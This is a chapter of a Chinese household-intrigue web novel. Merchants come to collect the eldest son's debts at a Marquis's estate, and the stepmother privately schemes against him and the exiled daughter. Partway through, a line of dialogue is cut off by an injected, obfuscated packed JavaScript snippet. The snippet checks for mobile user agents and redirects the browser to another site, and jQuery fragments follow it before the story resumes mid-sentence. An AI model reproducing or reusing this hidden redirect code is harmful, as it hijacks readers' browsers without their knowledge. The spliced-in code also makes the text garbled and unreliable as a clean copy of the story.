8、 侯府债务
苏贵快马加鞭，傍晚时间已经到了京城。看这天色已晚，便直接回家，准备明天再去侯府复命。
苏贵在侯府也是有房间的，但却在外面安家，有一处两进院子。平日忙起来的时候，都在侯府歇息，不忙的时候，也回家看看。
走进院门，只见女儿在绣着手帕，媳妇正带着小儿子在玩耍，见他回来，女儿也放下绷子，媳妇忙牵着孩子迎上前来，一边道：“当家的回来了，吃饭了没有，厨房里还有饭菜，我去跟你热热。”就和女儿一起去了厨房。小儿子也就五、六岁，扑向父亲，口中叫着：“爹爹。”苏贵满脸笑容，牵起儿子的手道：“迅儿，今日有没有去学堂好好读书？”苏迅道：“有的，夫子夸我字写得比原来好！”苏贵道：“我家迅儿最乖！”抱起来，巴巴亲了一口，结果苏迅忙别过头去：“爹爹胡子扎得好痛！”苏贵哈哈大笑。
母女摆好晚饭，女儿去带弟弟玩，媳妇倒了一杯酒道：“当家的，奔忙一天，喝杯酒暖暖身子。”苏贵很满足，也倒了一杯酒，递给媳妇：“你也辛苦了，也喝一杯。”媳妇也就坐下，陪了一杯。
一杯酒下肚，苏贵掏出苏云给的小香囊，递给媳妇：“这是今天小姐赏的，你且收下。”媳妇接过来，打开看了看，奇道：“你不是说小姐过得很拮据，衣服都又旧又破，怎么会赏你这许多银子？”苏贵夹了一筷子菜，送到嘴里，道：“那是过去的事情了。小姐舅舅去了柳河庄，想是看着外甥女过得不如意，舅老爷随便给一点，都够她们过上好日子了。”媳妇附和道：“那是，舅老爷是江南富商，这点银子不算什么。不过，这小姐说起来也着实可怜，好歹是侯府嫡小姐，从小没了娘，还被发配去了庄子那么多年，每月二两银子，过得还不如一般人家。”
苏贵喝了两杯酒，话多了起来道：“当然不够。其实不是二两，呵呵。”突然意识到说漏了嘴，也就不再言语，媳妇好奇追问，苏贵只是不说，埋头吃菜，媳妇也只得作罢。
次日一早，苏贵到侯府，只见五、六个人围着门房在说着什么，见他走来，门房忙过来道：“二管家你可来了，这些人是商铺老板，说是大公子欠了他们的钱，来要账的。”几个人手里拿着纸单，也上前道：“苏管家，大公子欠我们铺子的银两，时间不短了。铺子都是小本经营，拖不起啊，要不请大公子把账结了？”
苏贵见人多，而且这种情况见过不少次，每次都是带到侯夫人处结账的，便道：“诸位不必担忧，堂堂侯府，不会差你们银子的，跟我走吧。”带着众人去了主屋松竹苑。
松竹苑内，侯夫人罗氏正在为侯爷一边穿衣，一边道：“礼部最近没听说有什么事，不忙的话，侯爷可以晚点去吧？”这侯爷端的生得好生俊朗，四十上下年纪，若不是蓄有微须，和三十岁人没有分别，这番容貌气度，在礼部也算得上是第一人。侯爷道：“你哪里知晓，最近虽没多少事，但二皇子刚立为太子，各部都得小心谨慎，生怕出点纰漏，让人抓着把柄，一切都得小心着。”侯夫人道：“那我去叫平儿起来，送送你。”侯爷忙道：“切切不可，小孩子要多吃多睡，才长得高壮，这些虚礼就不用管了。”侯夫人嗔道：“就你惯着他。”
只见院子里陆续来了人，周姨娘、卢姨娘，二公子苏琦、三小姐苏珏、五小姐苏环、六小姐苏黎、七小姐苏嫣，八小姐苏琏，还有表小姐罗媛媛都款款而来，今天是初一，每月一次的后辈请安。
侯爷扫视了一下，道：“大公子呢？”下面的人都默不作声。侯爷怒道：“别人都到了，就他金贵，这厮就如此不懂礼数？”正要让人去叫，忽见苏贵带着一帮人进来，问道：“有何事？”苏贵上前行礼，道：“回侯爷，这几人在侯府大门口，说是大公子欠他们店铺银两，来结账的。”侯夫人出来，呵道：“忒不懂事，这点小事，如何惊动侯爷？让他们去偏厅候着，我一会自会过去。”侯爷道：“欠账？谁人欠的账？我倒要看看欠了什么账，让人家追到府里来。”指着一个管事模样的人道：“大公子欠了你们什么？”管事道：“回侯爷，小人是酒庄管事，这个月公子带着朋友在小店花费了十二次，一共花销八百二十五两三钱，这是账本，都有签名的，请侯爷过目。”
侯爷接过账本，随手翻了翻，又问另一个：“你呢？”那人拿着账簿上前道：“回侯爷，在下是奇珍阁的掌柜，贵公子在小店买了头面首饰，一共应给一千二百十五两六钱银子，已经快两月，小店小本经营，实在拖不起了，这才腆颜来找贵府结账。”侯爷大怒道：“狗屁头面首饰，他一个大男人，要这许多头面首饰何用？”奇珍阁掌柜喏喏，没有言语。侯爷指着一个小厮道：“快去，赶快去把这个孽畜给我绑过来！”小厮赶紧点头，转身就走，刚到门口，就见大公子苏进带着一个随从进来。
侯爷高声喊道：“孽畜，来看看你做的好事。”大公子一见院子里的这些人，就知道是来讨债的，不敢说话，慢慢走到侯爷面前，低头叫了声：“父亲。”侯爷把账本递给他，厉声斥道：“你说，你母亲缺了你的月例银子？如何到处欠账，你一个大男人，买一千多两银子的头面来做什么？你是要去南院唱戏吗？”大公子苏进也吓了一跳，接过账本，翻了翻道：“父亲，儿子是买了一点首饰，可绝对没有这么多啊，我。。。。”还待解释，侯夫人打断了他的话道：“侯爷消消气，进儿还小，慢慢教导就是，也不是什么大事，气坏了身子不值当。”苏环、苏嫣见侯爷发怒，竟害怕得低着头，身子有些发颤起来。
侯爷转头吼道：“二十多岁，都当爹的人了，还小？你贤惠，你就惯着他吧！这般花银子，就算侯府是座金山，只怕早晚也要被这孽畜搬空。看你以后怎么给他擦屁股！哼，我不管了，你去收拾吧！”说罢，气冲冲大步而去。
侯夫人柔声道：“这么早，你们都来过了，两个妹妹也忒客气。都是孝顺的好孩子，今天就不用请安了，进儿留下，其余都散了吧。”两个姨娘见情形不对，不好久呆，和几个子女都应了一声，默默退去。夫人的贴身杨嬷嬷对几个要账人道：“不好意思，让诸位看笑话了，请移步偏厅稍坐，喝杯茶，夫人这就来和诸位结算。”
两个姨娘和几位小姐出得松竹苑，苏环抚胸道：“从没见过老爷这样发怒，真有些胆颤。”苏琏道：“五姐姐不用担心，反正老爷也不是冲我们，我们只管注意平日言行即可。”表小姐罗媛媛道：“正是，难得今日姨娘和姐妹们都在，莫若去花园转转？”几位小姐都点头，苏琦道：“两位姨娘，各位妹妹请自去，愚兄还要回书房读书去。”说完告辞而去，苏贵赶紧跟上去，把苏云的信交给他。
苏琏道：“二哥哥也真是，也不陪妹妹们叙叙话。”罗媛媛忙道：“二表哥明年下场，想是还需加倍用功，也怪不得他。”苏珏知道她的心思，也不多言，只道：“无事，我们且去花园坐坐。”自有婆子丫鬟前去布置茶点。
现在已是春末，百花尚在，花园里姹紫嫣红，很是别致。姨娘和几位小姐在花园凉亭坐定，一边赏着春色，一边吃着茶点，一边闲聊，好不惬意。
卢姨娘道：“三小姐今年已十三有余，不知夫人是否已经替二姐姐相看人家了？”
苏珏霎时脸红，埋头不语。
周姨娘道：“想是侯爷和夫人都记在心上，已经暗暗相看了也说不定。”
苏琏道：“三姐姐貌若天仙，才情过人，也不知谁能当上我们三姐夫？”
苏珏羞得满脸通红，作势要打，道：“死妮子，小小年纪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205738|197331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，就你话多。”苏环拉着，笑道：“男大当婚女大当嫁，八妹妹并没有说错，三姐姐花容月貌，就不知会便宜了哪家郎君。”众皆大笑，苏珏捏着手帕，一张脸红得要滴出血来。
苏琏又道：“那日听母亲与父亲说起，说是三姐姐后年就要及笄，应该开始相看人家了，想是母亲不日就要找三姐姐说道。”苏珏不语，却听得格外仔细。
苏琏又道：“父亲说，自是应该相看人家了，让母亲多留心，必得年龄相当，长相过得去就行，门第务必相当，本人需得有前途，不可让三姐姐受了委屈。”
苏珏仍旧不语，但心里也感念父亲。罗媛媛道：“不知三姐姐可有中意的郎君。”苏珏道：“整日都在府中，哪里有机会认识什么郎君？”苏琏道：“下月玲珑公主要开诗会，大哥二哥都在邀请之列，不若问问父亲，三姐姐可否一同前往？”苏珏不禁有些心动。苏琏看出三姐心思，便道：“这几日，我瞅个机会问问母亲。”周姨娘也道：“待侯爷来我房中，我也跟他说道说道。”苏珏感激地看了看周姨娘和苏琏。
苏琏心中思绪波动，想自己艳若桃李，才艺不缺，门第颇高，只是亲生母亲早逝，现在的侯夫人虽有贤名，平日也善待这些继子庶女，但究竟比不得亲生母亲，以后如何，如何说得清？心里颇是焦虑。苏琏说起的诗会，倒是值得去看看。诸位小姐说笑不提。
松竹苑偏厅内，讨债人已经结账离去，侯夫人道：“进儿，这次欠款也清账了，你是侯府长子，以后侯府 还得靠你，你要多多注意自己的言行。父亲为你操碎了心，平日对你严厉，却总想着为在朝中你安排一个职位，你不喜读书的路子，也无妨，正在为你谋划一个御林军中的中侯职位，目前还在奔走，此正是关键时节，你切莫闹出什么乱子，让你父亲为难。以后要注意一些，节制一些花销，切莫太过随意。”苏进道：“多谢父亲母亲，日后定当多多注意。只是母亲，儿子是个糊涂人，平日确有一些赊账，可其实并没有这么多，那些签名。。。。。。”侯夫人打断道：“无事，只要以后多多注意即可，花得太多，侯府只怕也堵不住这些窟窿。对了，汀哥最近怎么样？他可是侯府长子长孙，现下侯府唯一的根，你可得小心小心再小心，切不可有丝毫慢怠。”苏进不好再提别的，只得道：“儿子省得的，不敢有丝毫不尽心。”
苏进走后，见屋里并无他人，杨嬷嬷递给夫人一封信，小声道：“这是柳河庄那位写的信，夫人瞧瞧。”夫人拆开看了：“她怎的能写字了？都是虚情假意的连篇废话，也算她费心了，且不必理会。”杨嬷嬷道：“夫人的想法自是好的，也颇有效果，尤其是今日当着侯爷和众人的面讨债，大公子怕是已经废了，老妇人虽是吃斋念佛，这风声也会传到佛堂去。只是大公子若是这么欠账，侯府也是担待不起啊，毕竟还养着一大家子人呢？若是真的捉襟见肘，老夫人和侯爷少不得要埋怨夫人掌家不力，如何是好？”
夫人呷了一口茶道：“我岂不知个中厉害，只是大公子毕竟是嫡出长子，又有儿子傍身，若不把他搞臭，平儿如何能有半分世子希望？只是大公子还没有完全废掉，有机会，还得在汀哥身上下点功夫，让他没有倚仗。至于侯府用度嘛，不是还有柳河庄那位母亲的嫁妆吗？支撑几年必是无碍的，对了，柳河庄那位怎么样了？”
杨嬷嬷道：“前些日子听说掉进了柳河，却不料命大，已经死硬硬，不知怎的又活过来了。”夫人奇道：“却是为何？”杨嬷嬷道：“各种缘由，并不清楚，她自己只说是遇到了龙王。”妇人道：“子不语怪力乱神，鬼神之事，实在难言。不管如何，柳河庄的留不得，如若待她回侯府，问起母亲嫁妆，窟窿拿什么填？”
杨嬷嬷道：“老奴省得，这就去安排。”